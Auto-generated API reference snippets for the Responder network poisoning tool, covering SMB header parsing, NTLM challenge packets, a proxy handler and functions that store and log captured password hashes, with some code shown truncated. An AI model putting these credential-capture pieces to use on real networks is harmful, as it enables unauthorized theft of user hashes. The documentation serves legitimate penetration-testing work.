## def hexdump(src, l=0x16)

### Description
Returns a hexdump string of `src` in rows of `l` bytes with an ASCII gutter (`.` for non-printable bytes).

### Method
Function

### Signature
`hexdump(src, l=0x16)`

### Parameters
- **src** (bytes) - Required - The source data to hexdump.
- **l** (int) - Optional - Number of bytes per row. Default is 0x16 (22).

### Returns
- **str** - A hexdump string with ASCII gutter.

### Example
```python
from utils import hexdump
print(hexdump(b'hello world'))
```
```

--------------------------------

### Is_Anonymous - Detect anonymous SMB auth

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/servers-smb.md

Returns True when the LM response length field is 0 or 1, indicating anonymous or empty authentication. The branch is chosen based on the security-blob length.

```python
def Is_Anonymous(data):  # Detect if SMB auth was Anonymous
	SecBlobLen = struct.unpack('<H',data[51:53])[0]
	if SecBlobLen < 260:
		LMhashLen = struct.unpack('<H',data[89:91])[0]
		return LMhashLen in [0, 1]
	elif SecBlobLen > 260:
		LMhashLen = struct.unpack('<H',data[93:95])[0]
		return LMhashLen in [0, 1]
```

--------------------------------

### IsOnTheSameSubnet: binary AND with /24 mask

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md

Compares an IP address against a network using a hardcoded /24 mask. The function appends '/24' to the net parameter. Returns True if both addresses share the first 24 bits.

```python
def IsOnTheSameSubnet(ip, net):
	net += '/24'
	ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
	netstr, bits = net.split('/')
	netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
	mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
	return (ipaddr & mask) == (netaddr & mask)
```

--------------------------------

### midcalc, uidcalc, pidcalc, tidcalc - Extract SMB header fields

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/servers-smb.md

These functions extract the MID, UID, PID, and TID fields from an SMB packet header. They are used to echo the client's values back in responses.

```python
def midcalc(data):
    return data[34:36]
def uidcalc(data):
    return data[32:34]
def pidcalc(data):
    pack=data[30:32]
    return pack
def tidcalc(data):
    pack=data[28:30]
    return pack
```

--------------------------------

### NBT-NS name-suffix role mapping (utils.NBT_NS_Role)

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/types.md

Maps 3-byte NBT-NS name-suffix codes to human-readable role names. Returns 'Service not known' for unrecognized input. Used by NBTNS.py, Browser.py, and BrowserListener.py.

```python
return {
    "\x41\x41\x00":"Workstation/Redirector",
    "\x42\x4c\x00":"Domain Master Browser",
    "\x42\x4d\x00":"Domain Controller",
    "\x42\x4e\x00":"Local Master Browser",
    "\x42\x4f\x00":"Browser Election",
    "\x43\x41\x00":"File Server",
    "\x41\x42\x00":"Browser",
}.get(data, 'Service not known')
```

--------------------------------

### Credential record dict keys in utils.SaveToDb

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/types.md

Defines the eight recognized keys of the credential-record dict consumed by utils.SaveToDb. Unknown keys are silently ignored.

```python
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
    if not k in result:
        result[k] = ''
```

--------------------------------

### text() function definition

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md

Defines the text() helper that logs the input at INFO level and returns it with any [...] tokens wrapped in blue ANSI codes. On Windows, returns the plain text without ANSI formatting.

```python
def text(txt):
	logging.info(txt)
	if os.name == 'nt':
		return txt
	return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
```

--------------------------------

### Parse_Nego_Dialect - Extract NT LM 0.12 dialect index

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/servers-smb.md

Parses the client's dialect list and returns the index of 'NT LM 0.12' as a single-byte character plus null terminator. Known to raise IndexError for short dialect lists.

```python
def Parse_Nego_Dialect(data):
	Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
	for i in range(0, 16):
		if Dialect[i] == 'NT LM 0.12':
			return chr(i) + '\x00'
```

--------------------------------

### HTTP_Proxy class definition

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/servers-http-proxy.md

Defines the HTTP proxy request handler, inheriting from BaseHTTPRequestHandler. Sets rbufsize to 0 and stores base handle.

```python
class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
	__base = BaseHTTPServer.BaseHTTPRequestHandler
	__base_handle = __base.handle
	rbufsize = 0
```

--------------------------------

### IIS_NTLM_Challenge_Ans.calculate() - base64 encode payload

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/packets.md

Overrides calculate() to base64-encode the payload for the NTLM challenge response. Used in the IIS_NTLM_Challenge_Ans packet class.

```python
def calculate(self,payload):
	self.fields["Payload"] = b64encode(payload)
```

--------------------------------

### WriteData function definition

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md

Defines WriteData, which logs the captured hash and writes it to a file. It refuses to write if a previous capture exists for the same user or if the user contains a '$' (machine account).

```python
def WriteData(outfile, data, user):
	logging.info("[*] Captured Hash: %s" % data)
	...
```

--------------------------------

### Packet.__str__(self)

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/packets.md

Serializes the packet by concatenating all field values, each coerced to a string. This is the form sent over the wire.

```APIDOC
## Packet.__str__(self)

### Description
Returns the serialized packet as a string by concatenating all field values (each coerced with `str()`). This is the form used when sending the packet over the network.

### Method
String conversion

### Signature
`__str__(self)`

### Returns
- **str** - The concatenated string of all field values.

### Usage Example
```python
soc.sendto(str(buffer), self.client_address)
```
```

--------------------------------

### ProxySock class definition

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/servers-http-proxy.md

Defines a socket wrapper that stores the inner socket and proxy details. Used to tunnel connections through an upstream proxy.

```python
class ProxySock:
	def __init__(self, socket, proxy_host, proxy_port):
		self.socket = socket
		self.proxy_host = proxy_host
		self.proxy_port = proxy_port
		self.family = socket.family
		self.type = socket.type
		self.proto = socket.proto
```

--------------------------------

### hexdump function definition

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/utils.md

Defines the hexdump function that returns a hexdump string of the input data in rows of l bytes with an ASCII gutter. Non-printable bytes are shown as '.'.

```python
def hexdump(src, l=0x16):
	return '\n'.join(res)
```

--------------------------------

### Packet base class definition

Source: https://github.com/spiderlabs/responder/blob/master/_autodocs/api-reference/packets.md

Defines the Packet class with an ordered fields dictionary and methods for overriding fields and serializing to a string. Subclasses declare their own fields and may define calculate() to recompute derived fields.

```python
# Packet class handling all packet generation (see odict.py).
class Packet():
	fields = OrderedDict([
		("data", ""),
	])
	def __init__(self, **kw):
		self.fields = OrderedDict(self.__class__.fields)
		for k,v in kw.items():
			if callable(v):
				self.fields[k] = v(self.fields[k])
			else:
				self.fields[k] = v
	def __str__(self):
		return "".join(map(str, self.fields.values()))
```
Tokens:
Raw